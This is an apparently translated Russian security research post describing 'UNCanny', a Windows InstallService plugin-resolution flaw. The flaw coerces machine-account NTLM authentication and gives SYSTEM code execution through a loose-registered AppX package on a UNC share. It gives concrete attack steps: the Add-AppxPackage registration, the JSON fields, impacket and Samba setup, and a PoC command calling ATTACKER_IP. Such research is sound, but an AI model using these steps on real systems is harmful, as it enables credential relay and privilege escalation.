
Еще один новый примитив принуждения с LPE - принуждение NTLM учетной записи машины от пользователя без прав администратора через эксперименты по разрешению плагина InstallService Windows Store
Идея этого исследования была простой: я хотел найти свою собственную технику принуждения. Я начал с поиска новых поверхностей атак RPC, но после того, как Microsoft добавила мониторинг активности RPC (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), я решил пойти другим путем.
UNCanny — это результат этой кроличьей норы. Это не то, что я бы счел надежным для реальных операций red team из-за его ограничений, но я все же считаю, что заметки стоит опубликовать для тех, кто копается в той же области.
кратко этот примитив таков:
обычный пользователь передает службе установки магазина Windows некоторые метаданные установки -> служба, работающая как локальная система, разрешает "плагин" для этой работы -> преобразователь в конечном итоге выполняет
LoadLibraryWпо пути, на который повлиял пользователь -> этот путь является UNC -> исходящий NTLM от учетной записи машины.
компонент — это мир службы установки магазина windows: InstallService.dll размещенный в InstallService.exe, работающий как NT AUTHORITY\SYSTEM.
Кроличья нора началась с InstallService.dll. Я искал компоненты windows, которые устанавливают пакеты, восстанавливают состояние после перезагрузки, возобновляют неудачные задания, читают локальное/удаленное содержимое и загружают плагины. все, что объединяет эти четыре вещи, обычно имеет путаницу границ где-то:
Интересный класс времени выполнения был:
Windows.Internal.InstallService.Control.InstallServiceControl
IID: e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8 -> CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

Вот где живет веселье — в параметре propertiesJson. поведение установки описывается полями json, такими как FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId.
Сначала я думал, что ошибка будет заключаться в том, чтобы "поместить UNC в SourceUri и позволить службе прочитать его". это было бы прекрасно, но windows не была так щедра. я реверсировал встроенный путь выполнения (CreateInstallServiceWorkFromBridge, InstallService.dll) и встроенные плагины просто не делают этого:
WU разбирает json и выходит через WinHTTP / Delivery Optimization. никогда SMB.ChainedWork и XVC — та же история или их вообще нет на клиенте.SourceUri либо быстро отклоняется, либо направляется в проверку каталога. CreateCatalogItemFromLocalData, несмотря на название, создает элемент каталога из сериализованного json в памяти, он не открывает файл.Так что наивная идея — тупик, эта функция очень интересна, и я тоже занимаюсь другими исследовательскими примитивами на ней, и это стоит сказать вслух, чтобы никто не тратил на это неделю :)
единственное место во всем потоке создания/восстановления, где служба касается пути, на который повлиял атакующий, — это активация плагина. функция — PluginHelpers::ActivatePlugin. она разрешает FulfillmentPluginId в следующем порядке:
"WU" -> встроенный"ChainedWork" -> встроенныйStaticPluginMap (HKLM) -> CoCreateInstance CLSID, или активировать класс WinRT"XVC" -> фабрика xboxFindPackagesForUser(pfn) -> взять InstalledLocation.Path этого пакета -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")ветвь 5 — та самая, и PluginHelpers::IsPluginAvailable подтверждает ворота: он возвращает true для любого FulfillmentPluginId, который соответствует установленному пакету, через тот же самый поиск FindPackagesForUser.

итак, если FulfillmentPluginId указывает на пакет, чей InstalledLocation является UNC, то InstallService.exe, работающий как SYSTEM, делает:
LoadLibraryW( \\attacker\share\InstallServicePlugin.dll )
LoadLibraryW должен подключиться к \\attacker\share и аутентифицироваться, прежде чем узнает, что dll там нет, и эта аутентификация и есть принуждение, а dll никогда не должна существовать.

единственный оставшийся вопрос: "как обычный пользователь получает пакет, чей InstalledLocation является UNC". ответ — свободная регистрация файлов (loose-file registration), которая является операцией для каждого пользователя, не требующей повышения прав:
Add-AppxPackage -Register \\attacker\share\AppxManifest.xml
windows регистрирует пакет "на месте", поэтому зарегистрированный InstalledLocation буквально является UNC, на который вы указали. затем вы запускаете работу с именем семейства этого пакета в качестве идентификатора плагина.
Add-AppxPackage -Register \\attacker\share\AppxManifest.xmlCreateInstallServiceWork( FulfillmentPluginId = <имя семейства этого пакета> )вызывающий — обычный пользователь, сетевая аутентификация — учетная запись машины.

малопривилегированный пользователь запустил это, учетная запись машины аутентифицировалась. собственный загрузчик windows выполнил обращение к UNC, а не вызывающий.

две вещи, которые нужно уладить перед запуском:
impacket-smbserver сообщает тип файловой системы XTFS. AppX отказывается регистрироваться на общих ресурсах не-NTFS (0x80073CFD). исправьте поле FileSystemName в impacket/smbserver.py на NTFS.
общая папка должна содержать AppxManifest.xml, logo.png, dummy.exe. InstallServicePlugin.dll не требуется. MaxVersionTested в манифесте должен быть ≤ целевой сборки (проверьте с помощью winver на целевой системе).
Вы можете запустить poc/setup.sh из корня репозитория на Kali. он заполняет общую папку, исправляет impacket, размещает poc.ps1 на целевой системе через smbclient, если установлены TARGET_IP и TARGET_CREDS, и запускает сервер ;-)
Затем на вашей рабочей станции windows от имени малопривилегированного пользователя в интерактивном сеансе:
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce
Есть вторая сторона той же ошибки, которая более прямолинейна, чем принуждение. если InstallServicePlugin.dll действительно существует на UNC-пути пакета, служба все равно достигает той же ветви LoadLibraryW(\\attacker\share\InstallServicePlugin.dll), но на этот раз загрузчику удается, и dll отображается внутри процесса службы установки магазина как NT AUTHORITY\SYSTEM.
Так что я загорелся идеей доказать эту проблему и написал PoC в lpe/. Важно не очередной трюк с регистрацией пакета, а то, что тот же зарегистрированный свободный пакет повторно используется как пакет плагина. Тестовая обвязка запрашивает имя семейства пакета малопривилегированного пользователя с помощью Get-AppxPackage, передает этот PFN как FulfillmentPluginId, устанавливает SkipCatalogLookup=true и включает SerializedFulfillmentData. Это последнее поле важно, потому что InstallQueue2::CreateWork отклоняет запрос с 0x80070057, если пропуск поиска каталога выполняется без данных выполнения.
Очень важно отметить кое-что, на устранение неполадок чего ушло много времени: impacket не может обслуживать загружаемый образ. он достаточно хорошо отвечает на чтение, чтобы учетная запись машины аутентифицировалась, так что путь принуждения полностью работоспособен, но LoadLibraryW против общей папки impacket возвращает null с ERROR_INVALID_HANDLE, и DllMain никогда не выполняется. Обслуживайте те же самые файлы с помощью настоящего SMB-сервера (Samba), и загрузка удается. Samba по умолчанию сообщает NTFS, так что свободная регистрация все равно проходит. так что правило простое: impacket, когда вам нужен только хэш, Samba, когда вы хотите, чтобы dll действительно выполнялась как SYSTEM!
при реальном запуске, инициированном малопривилегированным пользователем, uncanny_lpe.txt показывает dll, отображенную в svchost.exe, и токен, разрешающийся в NT AUTHORITY\SYSTEM / S-1-5-18, что видно на скриншоте ниже.

CreateInstallServiceWork все еще возвращает 0x800706BE с этой демонстрационной dll, потому что DllMain уже выполнился к тому времени, когда служба запрашивает настоящий интерфейс плагина и сдается :-)

Ограничение на самом деле является причиной, по которой я решил опубликовать эту технику - должен быть включен режим разработчика. все зависит от того, что InstalledLocation.Path является UNC-путем, и после долгого копания я нашел только один способ сделать это. обычная подписанная установка копирует пакет в C:\Program Files\WindowsApps\..., устанавливает InstalledLocation туда, и это всегда локальный путь.
единственный путь регистрации, который я нашел, сохраняющий файлы там, где они уже находятся, включая общий ресурс UNC, — это свободная регистрация файлов (Add-AppxPackage -Register <manifest>). именно это и разблокирует режим разработчика (AllowDevelopmentWithoutDevLicense в HKLM\...\AppModelUnlock). и причина, по которой он ограничен, имеет смысл. свободная регистрация по сути создает доверенную идентификацию пакета из произвольных неподписанных файлов, находящихся в контролируемом вами месте, что полностью обходит обычную модель доверия магазина и подписи. из-за этого режим разработчика должен быть включен, и это в настоящее время самое большое ограничение техники.
Интересная часть заключается в том, что сторона InstallService на самом деле не заботится, и как только такой пакет существует, ветвь 5 ActivatePlugin с радостью вызовет LoadLibraryW для любого InstalledLocation.Path, который она получит. вся проблема в том, чтобы изначально получить пакет, чей путь установки указывает на UNC-путь, без необходимости режима разработчика.
Итак, я начал реверсировать ограждения в поисках другого пути.
Проверка режима разработчика вообще не находится внутри InstallService. она находится внутри стека развертывания AppX (AppXDeploymentServer.dll и политики лицензирования развертывания) и в конечном итоге читает HKLM\...\AppModelUnlock, который контролируется администратором. обычный пользователь ничего не может там переключить.
Я также исследовал то, что казалось очевидным обходным путем, например, боковую загрузку (sideloading)
Я протестировал это с включенной боковой загрузкой и отключенным режимом разработчика (IsSideloadingEnabled=1, IsDeveloperModeEnabled=0). свободная регистрация немедленно завершилась неудачей, сообщив, что источник пакета был Unsigned и что не удалось применить действительную лицензию или политику боковой загрузки.
есть еще несколько путей, которые я еще полностью не исключил, вы можете покопать, если хотите:
StaticPluginMap в сочетании с угоном порядка поиска COM-ExternalLocation и внешнее содержимое пакетаHKCU\...\CLSIDElastic, вероятно, покроет это в течение дня.
- я не несу ответственности за то, как используется эта информация. это исследование опубликовано в образовательных целях, и также может помочь улучшить понимание поверхности атаки.